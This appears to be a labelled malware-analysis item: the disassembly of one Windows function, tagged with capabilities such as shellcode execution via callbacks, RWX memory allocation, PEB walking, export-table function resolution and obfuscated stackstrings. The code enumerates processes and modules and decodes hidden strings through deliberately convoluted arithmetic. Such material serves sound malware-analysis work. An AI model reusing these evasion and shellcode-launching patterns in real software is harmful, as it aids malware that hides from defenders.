Function at 0x1400d2380
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Authenticate hmac
Contain obfuscated stackstrings
Encode data using xor
Enumerate gui resources
Enumerate process modules
Execute shellcode via indirect call
Execute shellcode via windows callback function
Hash data using fnv
Resolve function by parsing pe exports
Terminate process

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x32a8]
mov eax, 0x33a8
call fcn.14019ec20
sub rsp, rax
call fcn.14010e190
call fcn.14011ceb0
lea r8, [rbp + 8]
mov edx, 0x1000
lea rcx, [rbp + 0x2a0]
call sub.KERNEL32.dll_K32EnumProcesses
mov esi, 3
movabs r15, 0xff00ff00ff00ff07
lea r14, [0x1400bff50]
lea r13, [0x140000000]
test eax, eax
je 0x1400d55e7
mov edi, dword [rbp + 8]
shr edi, 2
mov dword [rbp + 0x10], edi
mov dword [rbp + 0x3308], 0
test edi, edi
je 0x1400d55e7
xor ecx, ecx
mov qword [rbp + 0x20], rcx
movzx r15d, byte [rbp + 0x32f0]
mov qword [rsp + 0x28], r15
movzx r12d, byte [rbp + 0x32f0]
mov qword [rsp + 0x30], r12
movzx r13d, byte [rbp + 0x32f0]
mov qword [rsp + 0x38], r13
movzx r14d, byte [rbp + 0x32f0]
mov qword [rsp + 0x20], r14
nop dword [rax + rax]
mov eax, dword [rbp + rcx*4 + 0x2a0]
mov dword [rbp + 0xc], eax
mov r8d, eax
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
mov qword [rbp + 0x18], rax
test rax, rax
je 0x1400d55ae
lea r9, [rbp + 0x3300]
mov r8d, 0x2000
lea rdx, [rbp + 0x12a0]
mov rcx, rax
call sub.KERNEL32.dll_K32EnumProcessModules
test eax, eax
je 0x1400d55a5
xor ecx, ecx
mov dword [rbp + 0x32f8], ecx
test dword [rbp + 0x3300], 0xfffffff8
jbe 0x1400d55a5
nop word [rax + rax]
mov r9d, 0x104
lea r8, [rbp + 0x80]
mov rdx, qword [rbp + rcx*8 + 0x12a0]
mov rcx, rbx
call sub.KERNEL32.dll_K32GetModuleFileNameExA
test eax, eax
je 0x1400d5583
lea rcx, [rbp + 0x80]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
test rax, rax
je 0x1400d2509
lea rcx, [rbp + 0x80]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
mov r8, rax
mov edx, 0x104
lea rcx, [rbp + 0x190]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
mov dword [rbp - 0x50], 0xcf383ffe
mov dword [rbp - 0x4c], 0xc332c8cc
mov word [rbp - 0x48], 0xf9fa
mov byte [rbp - 0x46], WSAGetLastError
vpxor xmm0, xmm0, xmm0
xor eax, eax
vmovups xmmword [rbp - 0x45], xmm0
mov dword [rbp - 0x35], eax
nop
call fcn.140075de0
mov rbx, qword [rax]
call fcn.140075df0
mov r11, qword [rax]
xor r10d, r10d
cmp r10, 0x1f
jae 0x1400d313f
movzx r8d, byte [rbp + r10 - 0x50]
movzx edx, r8b
cmp rbx, r10
ja 0x1400d3136
lea rax, [r11 + 1]
cmp rbx, rax
jae 0x1400d2592
movabs r9, 0xa792de8ba9fce051
lea rcx, [r10 + r9]
mov rax, r8
and rax, rcx
imul r15, rax, 0xfffffffffffffffe
add r15, r8
add r15, rcx
sub r15b, 0x37
mov qword [rsp + 0x28], r15
jmp 0x1400d25bc
je 0x1400d30b1
lea rax, [r11 + 3]
cmp rbx, rax
je 0x1400d3082
lea rax, [r11 + 2]
cmp rbx, rax
je 0x1400d3050
movabs r9, 0xa792de8ba9fce051
movzx edx, r8b
cmp r11, r10
ja 0x1400d312d
lea rax, [r11 + 0x3e8]
cmp rbx, rax
jae 0x1400d25fb
movabs rcx, 0xbf0c4174f1be66a5
add rcx, r10
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [rdx + rcx]
add r15b, 0x7d
mov qword [rsp + 0x28], r15
jmp 0x1400d2640
lea rax, [r11 + 1]
cmp rbx, rax
je 0x1400d2ffe
lea rax, [r11 + 2]
cmp rbx, rax
je 0x1400d2fcf
lea rax, [r11 + 4]
cmp rbx, rax
je 0x1400d2f6c
lea rax, [r11 + 3]
cmp rbx, rax
je 0x1400d2f4b
lea rax, [r11 + 9]
cmp rbx, rax
je 0x1400d2f27
nop dword [rax]
lea rax, [r11 + rbx]
cmp rax, r10
jbe 0x1400d2bf6
nop dword [rax]
lea rax, [r11 + 0x10]
cmp rbx, rax
je 0x1400d2bd2
lea rax, [r11 + 4]
cmp rbx, rax
je 0x1400d2ba8
lea rax, [r11 + 0x41]
cmp rbx, rax
je 0x1400d2b81
lea rax, [r11 + 1]
cmp rbx, rax
je 0x1400d2b5d
lea rax, [r11 + 0x1000]
cmp rbx, rax
je 0x1400d2b41
lea rax, [r11 + 0x42]
cmp rbx, rax
je 0x1400d2b21
lea rax, [r11 + 0x200]
cmp rbx, rax
je 0x1400d2b01
lea rax, [r11 + 0x20]
cmp rbx, rax
je 0x1400d2ae1
lea rax, [r11 + 5]
cmp rbx, rax
je 0x1400d2ac5
lea rax, [r11 + 9]
cmp rbx, rax
je 0x1400d2650
lea rbx, [r11 + 0x40]
lea r11, [rbx + 2]
lea rax, [r11 + 0x80]
cmp rbx, rax
jb 0x1400d310b
lea rax, [r11 + 0x10]
cmp rbx, rax
jb 0x1400d30e9
lea rax, [r11 + 4]
cmp rbx, rax
jb 0x1400d2860
lea rax, [r11 + 8]
cmp rbx, rax
jb 0x1400d2837
lea rax, [r11 + 1]
cmp rbx, rax
jb 0x1400d280e
lea rax, [r11 + 0x1000]
cmp rbx, rax
jb 0x1400d2a6f
lea rax, [r11 + 0x42]
cmp rbx, rax
jb 0x1400d2a19
lea rax, [r11 + 0x200]
cmp rbx, rax
jb 0x1400d29cf
lea rax, [r11 + 0x20]
cmp rbx, rax
jb 0x1400d29a6
lea rax, [r11 + 5]
cmp rbx, rax
jb 0x1400d2650
lea rbx, [r11 + 0x400]
lea r11, [rbx + 9]
lea rax, [r11 + 0x40]
cmp rbx, rax
ja 0x1400d2986
lea rax, [r11 + 0x80]
cmp rbx, rax
ja 0x1400d2967
lea rax, [r11 + 0x10]
cmp rbx, rax
ja 0x1400d2946
lea rax, [r11 + 4]
cmp rbx, rax
ja 0x1400d2938
lea rax, [r11 + 8]
cmp rbx, rax
ja 0x1400d291c
lea rax, [r11 + 1]
cmp rbx, rax
ja 0x1400d28fc
lea rax, [r11 + 0x1000]
cmp rbx, rax
ja 0x1400d28d5
lea rax, [r11 + 0x41]
cmp rbx, rax
ja 0x1400d28a7
lea rax, [r11 + 0x200]
cmp rbx, rax
ja 0x1400d2888
lea rax, [r11 + 0x20]
cmp rbx, rax
ja 0x1400d2650
lea rbx, [r11 + 0x2a]
lea r11, [rbx + 5]
jmp 0x1400d2650
movabs rcx, 0xfcbed5d54c4dcbfb
add rcx, r10
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [rdx + rcx]
add r15b, 0x23
mov qword [rsp + 0x28], r15
jmp 0x1400d2640
movabs rcx, 0xad9918bdf8540b59
add rcx, r10
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [rdx + rcx]
sub r15b, 0x6f
mov qword [rsp + 0x28], r15
jmp 0x1400d25c0
movabs rcx, 0x5e735ba6a45a4ab7
add rcx, r10
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [rdx + rcx]
dec r15b
mov qword [rsp + 0x28], r15
jmp 0x1400d2557
lea edx, [r10 + 0x28]
movzx eax, r8b
and al, dl
add al, al
movzx r15d, r8b
sub r15b, al
sub r15b, 0x18
add r15b, dl
jmp 0x1400d301d
lea edx, [r10 - 0x7a]
movzx eax, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
add r15b, dl
inc r11
dec r10
mov qword [rsp + 0x28], r15
inc r10
jmp 0x1400d2543
lea ecx, [r10 - 0x1c]
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
lea r15d, [rcx + r8]
sub r15b, 0x3c
dec r10
mov qword [rsp + 0x28], r15
inc r10
jmp 0x1400d2543
lea edx, [r10 + 0x42]
movzx eax, r8b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
add r15b, dl
jmp 0x1400d2f8b
lea ecx, [r10 - 0x60]
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
lea r15d, [rcx + r8]
sub r15b, 0x60
jmp 0x1400d2fae
lea edx, [r10 - 2]
mov ecx, 7
jmp 0x1400d2b2a
lea edx, [r10 + 0x5c]
movzx eax, r8b
and al, dl
mov ecx, 0x3e
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
movzx r9d, r10b
jmp 0x1400d2ecd
lea edx, [r10 - 0x46]
movzx eax, r8b
and al, dl
add al, al
movzx r15d, r8b
sub r15b, al
sub r15b, 0x16
add r15b, dl
jmp 0x1400d2ef9
lea edx, [r10 + 0x18]
movzx eax, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
add r15b, dl
jmp 0x1400d30d0
lea ecx, [r10 - 0x7d]
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
lea r15d, [rcx + r8]
add r15b, 0x6b
mov qword [rsp + 0x28], r15
mov byte [rbp + r10 - 0x50], r15b
inc r10
jmp 0x1400d2543
lea edx, [r10 - 0x1f]
movzx eax, r8b
and al, dl
add al, al
movzx r15d, r8b
sub r15b, al
sub r15b, 0x27
add r15b, dl
mov qword [rsp + 0x28], r15
cmp r11, 0x2a
jb 0x1400d29c2
movzx r9d, r10b
lea edx, [r9 + 0x46]
movzx eax, r8b
and al, dl
mov ecx, ntohl
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea r15d, [rcx + rcx]
jmp 0x1400d3021
lea edx, [r10 + 0x3f]
movzx eax, r8b
and al, dl
add al, al
movzx r15d, r8b
sub r15b, al
add r15b, 0x47
add r15b, dl
mov qword [rsp + 0x28], r15
cmp rbx, 0x400
jae 0x1400d2e92
lea rax, [r11 + 9]
cmp rbx, rax
jbe 0x1400d2de1
lea edx, [r10 - 0xe]
movzx eax, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
jmp 0x1400d29e6
lea edx, [r10 - 0x63]
movzx eax, r8b
and al, dl
add al, al
movzx r15d, r8b
sub r15b, al
sub r15b, 0x4b
add r15b, dl
mov qword [rsp + 0x28], r15
lea rax, [r11 + rbx]
cmp rax, 0x40
je 0x1400d2eb4
lea rcx, [r11 + 2]
cmp rbx, rcx
jbe 0x1400d2cea
lea edx, [r10 + 0x4d]
movzx eax, r8b
and al, dl
add al, al
movzx r15d, r8b
sub r15b, al
sub r15b, 0x1b
jmp 0x1400d2a30
lea ecx, [r10 - 0x22]
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
lea r15d, [rcx + r8]
sub r15b, 0x12
jmp 0x1400d30d0
lea edx, [r10 + 0x3c]
movzx eax, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
add r15b, dl
jmp 0x1400d2ef9
movzx r9d, r10b
lea edx, [r9 - 0x66]
movzx eax, r8b
and al, dl
add al, al
movzx r15d, r8b
sub r15b, al
sub r15b, 0x36
jmp 0x1400d2ecd
lea edx, [r10 - 8]
mov ecx, Ordinal_30
movzx eax, r8b
and al, dl
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
add r15b, dl
jmp 0x1400d2fb1
lea ecx, [r10 + 0x56]
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
lea r15d, [rcx + r8]
sub r15b, 0x5a
jmp 0x1400d2fae
movzx r9d, r10b
lea edx, [r9 - 0x4c]
movzx eax, r8b
and al, dl
mov ecx, 0xa
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
add r15b, dl
jmp 0x1400d2f8f
lea ecx, [r10 + 0x12]
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
lea r15d, [rcx + r8]
sub r15b, 0x7e
dec r10
mov qword [rsp + 0x28], r15
inc r10
jmp 0x1400d2543
lea ecx, [r10 + 0x70]
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
lea r15d, [rcx + r8]
sub r15b, 0x10
inc r11
dec r10
mov qword [rsp + 0x28], r15
inc r10
jmp 0x1400d2543
movzx r9d, r10b
lea edx, [r9 - 0x32]
movzx eax, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
add r15b, dl
jmp 0x1400d3021
lea rax, [r11 + 0x10]
cmp rbx, rax
jae 0x1400d2c1a
lea rcx, [r10 + r9]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [rdx + rcx]
sub r15b, 0x37
jmp 0x1400d2a89
lea rax, [r11 + 1]
cmp rbx, rax
jne 0x1400d2c3f
lea ecx, [r10 + 0x4a]
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
lea r15d, [rcx + r8]
sub r15b, 6
jmp 0x1400d30d0
lea rax, [r11 + 2]
cmp rbx, rax
jne 0x1400d2c69
movzx r9d, r10b
lea edx, [r9 - 0x72]
movzx eax, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
jmp 0x1400d2ecd
lea rax, [r11 + 3]
cmp rbx, rax
jne 0x1400d2c8e
lea ecx, [r10 + 0x30]
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
lea r15d, [rcx + r8]
sub r15b, 0x50
jmp 0x1400d2fb1
lea rax, [r11 + 4]
cmp rbx, rax
jne 0x1400d2cba
movzx r9d, r10b
lea edx, [r9 + 0x74]
movzx eax, r8b
and al, dl
add al, al
movzx r15d, r8b
sub r15b, al
sub r15b, 0x2c
add r15b, dl
jmp 0x1400d2f8f
lea rax, [r11 + 8]
cmp rbx, rax
jne 0x1400d2a8e
movzx r9d, r10b
lea edx, [r9 + 0x5a]
movzx eax, r8b
and al, dl
add al, al
movzx r15d, r8b
sub r15b, al
sub r15b, 0x76
add r15b, dl
jmp 0x1400d3021
lea rax, [r11 + 1]
cmp rbx, rax
jne 0x1400d2d16
movzx r9d, r10b
lea edx, [r9 - 0x11]
movzx eax, r8b
and al, dl
add al, al
movzx r15d, r8b
sub r15b, al
add r15b, 0x77
add r15b, dl
jmp 0x1400d3021
cmp rbx, rcx
jne 0x1400d2d42
lea ecx, [r10 + 0x33]
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
lea r15d, [rcx + r8]
sub r15b, 0x65
dec r10
mov qword [rsp + 0x28], r15
inc r10
jmp 0x1400d2543
lea rax, [r11 + 5]
cmp rbx, rax
jne 0x1400d2d67
lea ecx, [r10 + 0x19]
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
lea r15d, [rcx + r8]
add r15b, 0x51
jmp 0x1400d2fb1
lea rax, [r11 + 4]
cmp rbx, rax
jne 0x1400d2d90
movzx r9d, r10b
lea edx, [r9 - 0x45]
movzx eax, r8b
and al, dl
add al, al
movzx r15d, r8b
sub r15b, al
sub r15b, 0x1d
jmp 0x1400d2ecd
lea rax, [r11 + 3]
cmp rbx, rax
jne 0x1400d2db8
lea edx, [r10 + 0x5d]
movzx eax, r8b
and al, dl
add al, al
movzx r15d, r8b
sub r15b, al
add r15b, 0x75
add r15b, dl
jmp 0x1400d2ef9
lea rax, [r11 + 7]
cmp rbx, rax
jne 0x1400d2a38
lea ecx, [r10 - 1]
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
lea r15d, [rcx + r8]
add r15b, 7
jmp 0x1400d30d0
lea rax, [r11 + 1]
cmp rbx, rax
jne 0x1400d2e06
lea ecx, [r10 - 0x6c]
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
lea r15d, [rcx + r8]
sub r15b, 0xc
jmp 0x1400d30d0
lea rax, [r11 + 2]
cmp rbx, rax
jne 0x1400d2e2e
lea edx, [r10 + 0x36]
movzx eax, r8b
and al, dl
add al, al
movzx r15d, r8b
sub r15b, al
sub r15b, 0x7a
add r15b, dl
jmp 0x1400d2ef9
lea rax, [r11 + 4]
cmp rbx, rax
jne 0x1400d2e62
lea edx, [r10 + 0x60]
movzx eax, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
add r15b, dl
dec r10
mov qword [rsp + 0x28], r15
inc r10
jmp 0x1400d2543
lea rax, [r11 + 6]
cmp rbx, rax
jne 0x1400d29ee
movzx r9d, r10b
lea edx, [r9 - 0x5c]
movzx eax, r8b
and al, dl
add al, al
movzx r15d, r8b
sub r15b, al
sub r15b, 0x7c
add r15b, dl
jmp 0x1400d3021
movzx r9d, r10b
lea ecx, [r9 - 0x18]
movzx eax, r8b
and al, cl
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x58
add r15b, r8b
jmp 0x1400d2f8f
movzx r9d, r10b
lea edx, [r9 - 0x76]
movzx eax, r8b
and al, dl
mov ecx, Ordinal_33
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
sub r9b, 0x25
movzx eax, r9b
and al, r8b
add al, al
sub r9b, al
add r9b, 3
add r9b, r8b
movzx eax, r9b
mov byte [rbp + r10 - 0x50], al
inc r11
add rax, r11
sub r10, rax
lea ecx, [r10 + 0x2c]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x34
add cl, r8b
mov byte [rbp + r10 - 0x50], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
jmp 0x1400d30d0
movabs rcx, 0x875fe746e5862c57
add rcx, r10
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [rdx + rcx]
sub r15b, 0x61
jmp 0x1400d30d0
movabs rcx, 0x4ac8f2e9959f29cf
add rcx, r10
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [rdx + rcx]
add r15b, 0x57
jmp 0x1400d2fae
movabs rcx, 0xfba335d241a5692d
add rcx, r10
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [rdx + rcx]
sub r15b, 0x3b
movzx r9d, r10b
add r9b, 0x39
movzx eax, r8b
and al, r9b
add al, al
sub r8b, al
add r8b, 0x71
add r8b, r9b
add r8b, r15b
mov byte [rbp + r10 - 0x50], r8b
add rbx, r11
movzx eax, r15b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
mov qword [rsp + 0x28], r15
inc r10
jmp 0x1400d2543
movabs rcx, 0xac7d78baedaba88b
add rcx, r10
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [rdx + rcx]
add r15b, 0x33
dec r10
mov qword [rsp + 0x28], r15
inc r10
jmp 0x1400d2543
movabs rcx, 0xe31fe8c45b82747
add rcx, r10
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [rdx + rcx]
add r15b, 0xf
movzx r9d, r10b
sub r9b, 0x69
movzx eax, r8b
and al, r9b
add al, al
sub r8b, al
sub r8b, 0x21
add r8b, r9b
mov byte [rbp + r10 - 0x50], r8b
inc r11
dec r10
mov qword [rsp + 0x28], r15
inc r10
jmp 0x1400d2543
movabs rcx, 0x20c0c74649cae561
add rcx, r10
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [rdx + rcx]
add r15b, 0x59
inc r11
dec r10
mov qword [rsp + 0x28], r15
inc r10
jmp 0x1400d2543
movabs rcx, 0xd19b0a2ef5d124bf
add rcx, r10
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [rdx + rcx]
sub r15b, 0x39
dec r10
mov qword [rsp + 0x28], r15
inc r10
jmp 0x1400d2543
movabs rcx, 0xf6b89ba2fdf6a0f3
add rcx, r10
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [rdx + rcx]
add r15b, 0x5b
movzx eax, byte [rbp + r10 - 0x50]
add rax, r11
add r10, rax
mov qword [rsp + 0x28], r15
inc r10
jmp 0x1400d2543
add r10b, 0x15
movzx eax, r8b
and al, r10b
add al, al
sub r8b, al
lea r15d, [r10 + r8]
add r15b, 0x6d
mov qword [rsp + 0x28], r15
jmp 0x1400d2540
add r10b, 0x73
movzx eax, r8b
and al, r10b
add al, al
sub r8b, al
lea r15d, [r10 + r8]
sub r15b, 0x25
mov qword [rsp + 0x28], r15
jmp 0x1400d2530
lea rax, [rbp + 0x166b61c]
jmp 0x1400d3143
lea rax, [rbp + 0xe3966d]
jmp 0x1400d3143
lea rax, [rbp - 0x50]
mov qword [rbp + 0x60], rax
mov dword [rsp + 0x70], 0xf1c5c230
mov dword [rsp + 0x74], 0x8b8cfcf4
mov dword [rsp + 0x78], 0x4746b986
mov byte [rsp + 0x7c], Ordinal_211
xor eax, eax
mov qword [rsp + 0x7d], rax
mov byte [rbp - 0x7b], al
nop
call fcn.140075de0
mov rbx, qword [rax]
call fcn.140075df0
mov r10, qword [rax]
xor r11d, r11d
cmp r11, 0x16
jae 0x1400d3c93
movzx r9d, byte [rsp + r11 + 0x70]
mov edx, r9d
cmp rbx, r11
ja 0x1400d3c8a
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x1400d31d0
movabs rcx, 0xdaac5ed61a3b3f3a
add rcx, r11
mov rax, rcx
and rax, rdx
imul r12, rax, 0xfffffffffffffffe
add r12, rcx
add r12, rdx
add r12b, 0x6a
mov qword [rsp + 0x30], r12
jmp 0x1400d320a
je 0x1400d3bfc
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1400d3b85
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1400d3b4e
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1400d3b23
lea rax, [r10 + 4]
cmp rbx, rax
je 0x1400d3ada
movzx r8d, r11b
nop
cmp r10, r11
ja 0x1400d3c81
lea rax, [r10 + 0xa]
cmp rbx, rax
jae 0x1400d323f
lea ecx, [r8 - 0x3e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r12d, [r9 + rcx]
sub r12b, 0x4e
mov qword [rsp + 0x30], r12
jmp 0x1400d3273
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1400d3ac2
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1400d3a96
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1400d3a79
lea rax, [r10 + 6]
cmp rbx, rax
je 0x1400d3a58
lea rax, [r10 + rbx]
cmp rax, r11
jbe 0x1400d376a
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x1400d374f
lea rax, [r10 + 6]
cmp rbx, rax
je 0x1400d3720
lea rax, [r10 + 0x28]
cmp rbx, rax
je 0x1400d36f4
lea rax, [r10 + 0x3e8]
cmp rbx, rax
je 0x1400d36d4
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x1400d36b7
lea rax, [r10 + 0x61]
cmp rbx, rax
je 0x1400d369a
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1400d367f
lea rax, [r10 + 9]
cmp rbx, rax
je 0x1400d3671
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1400d3653
lea rax, [r10 + 0x20]
cmp rbx, rax
je 0x1400d3280
lea rbx, [r10 + 0x42]
lea r10, [rbx + 0x200]
lea rax, [r10 + 0x1000]
cmp rbx, rax
jb 0x1400d3c5b
lea rax, [r10 + 0x200]
cmp rbx, rax
jb 0x1400d3c35
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x1400d3474
lea rax, [r10 + 4]
cmp rbx, rax
jb 0x1400d3454
lea rax, [r10 + 1]
cmp rbx, rax
jb 0x1400d3434
lea rax, [r10 + 8]
cmp rbx, rax
jb 0x1400d3645
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x1400d3637
lea rax, [r10 + 0x400]
cmp rbx, rax
jb 0x1400d35ed
lea rax, [r10 + 0x80]
cmp rbx, rax
jb 0x1400d35c3
lea rax, [r10 + 0x7a]
cmp rbx, rax
jb 0x1400d3280
lea rbx, [r10 + 0x2a]
lea r10, [rbx + 3]
lea rax, [r10 + 0x7a]
cmp rbx, rax
ja 0x1400d35a6
lea rax, [r10 + 3]
cmp rbx, rax
ja 0x1400d3586
lea rax, [r10 + 0xa]
cmp rbx, rax
ja 0x1400d3567
lea rax, [r10 + 0x64]
cmp rbx, rax
ja 0x1400d3546
lea rax, [r10 + 0x28]
cmp rbx, rax
ja 0x1400d3525
lea rax, [r10 + 0x3e8]
cmp rbx, rax
ja 0x1400d3508
lea rax, [r10 + 0x5a]
cmp rbx, rax
ja 0x1400d34e0
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x1400d34b5
lea rax, [r10 + 2]
cmp rbx, rax
ja 0x1400d3496
lea rax, [r10 + 9]
cmp rbx, rax
ja 0x1400d3280
lea rbx, [r10 + 0x20]
lea r10, [rbx + 0x42]
jmp 0x1400d3280
lea ecx, [r8 + 0x7e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r12d, [r9 + rcx]
sub r12b, 0x72
mov qword [rsp + 0x30], r12
jmp 0x1400d3273
lea ecx, [r8 + 0xa]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r12d, [r9 + rcx]
sub r12b, 0x46
mov qword [rsp + 0x30], r12
jmp 0x1400d3210
sub r8b, 0x6a
movzx eax, r8b
and al, r9b
add al, al
sub r8b, al
lea r12d, [r9 + r8]
sub r12b, 0x1a
mov qword [rsp + 0x30], r12
jmp 0x1400d3196
lea edx, [r8 + 0x10]
movzx eax, r9b
and al, dl
add al, al
movzx r12d, r9b
sub r12b, al
sub r12b, 0x70
add r12b, dl
jmp 0x1400d3af4
sub r8b, 0x64
movzx eax, r9b
and al, r8b
add al, al
sub r9b, al
lea r12d, [r8 + r9]
sub r12b, 0x44
inc r10
dec r11
mov qword [rsp + 0x30], r12
inc r11
jmp 0x1400d3183
add r8b, 0x28
movzx eax, r9b
and al, r8b
add al, al
sub r9b, al
lea r12d, [r8 + r9]
sub r12b, 0x18
dec r11
mov qword [rsp + 0x30], r12
inc r11
jmp 0x1400d3183
lea edx, [r8 - 0x4c]
movzx eax, r9b
and al, dl
mov ecx, 0xa
sub cl, al
lea r12d, [rcx + rcx]
add r12b, r9b
jmp 0x1400d3a17
add r8b, 0x40
movzx eax, r9b
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r12d, [rcx + rcx]
add r12b, r9b
add r12b, r8b
jmp 0x1400d3b64
sub r8b, 0x34
movzx eax, r9b
and al, r8b
mov ecx, gethostname
sub cl, al
lea r12d, [rcx + rcx]
add r12b, r9b
add r12b, r8b
jmp 0x1400d3b67
lea edx, [r8 + 0x58]
movzx eax, r9b
and al, dl
add al, al
movzx r12d, r9b
sub r12b, al
sub r12b, 0x68
add r12b, dl
jmp 0x1400d3ba4
sub r8b, 0x1c
movzx eax, r9b
and al, r8b
add al, al
movzx r12d, r9b
sub r12b, al
sub r12b, 0x3c
add r12b, r8b
jmp 0x1400d3bcf
add r8b, 0x70
movzx eax, r9b
and al, r8b
add al, al
sub r9b, al
lea r12d, [r8 + r9]
sub r12b, 0x10
jmp 0x1400d3c1c
add r8b, 0x4e
movzx eax, r8b
and al, r9b
add al, al
sub r8b, al
lea r12d, [r9 + r8]
sub r12b, 0x22
mov qword [rsp + 0x30], r12
mov byte [rsp + r11 + 0x70], r12b
inc r11
jmp 0x1400d3183
lea edx, [r8 - 0x26]
movzx eax, dl
and al, r9b
mov ecx, 5
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r9b
mov qword [rsp + 0x30], r12
cmp r10, 0x400
jb 0x1400d35e0
lea edx, [r8 + 0x1c]
movzx eax, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea r12d, [rcx + rcx]
jmp 0x1400d3af4
lea edx, [r8 + 0x66]
mov ecx, reloc.WLDAP32.dll_Ordinal_27
jmp 0x1400d37be
lea edx, [r8 - 0xe]
mov ecx, Ordinal_50
jmp 0x1400d3783
sub r8b, 0x74
movzx eax, r8b
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r12d, [rcx + rcx]
add r12b, r8b
jmp 0x1400d3c19
add r8b, 0x18
mov ecx, Ordinal_46
jmp 0x1400d3a61
lea ecx, [r8 - 0x5c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r12d, [r9 + rcx]
sub r12b, 0x7c
jmp 0x1400d3ba4
add r8b, 0x30
movzx eax, r8b
and al, r9b
add al, al
sub r8b, al
lea r12d, [r9 + r8]
sub r12b, 0x50
jmp 0x1400d3b67
sub r8b, 0x44
movzx eax, r8b
and al, r9b
add al, al
sub r8b, al
lea r12d, [r9 + r8]
sub r12b, 0x24
jmp 0x1400d3b64
lea edx, [r8 + 0x48]
movzx eax, dl
and al, r9b
mov ecx, 4
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r9b
jmp 0x1400d3a1a
sub r8b, 0x2c
movzx eax, r8b
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r12d, [rcx + rcx]
add r12b, r8b
add r12b, r9b
dec r11
mov qword [rsp + 0x30], r12
inc r11
jmp 0x1400d3183
add r8b, 0x60
movzx eax, r8b
and al, r9b
mov ecx, Ordinal_50
sub cl, al
lea r12d, [rcx + rcx]
add r12b, r8b
add r12b, r9b
inc r10
dec r11
mov qword [rsp + 0x30], r12
inc r11
jmp 0x1400d3183
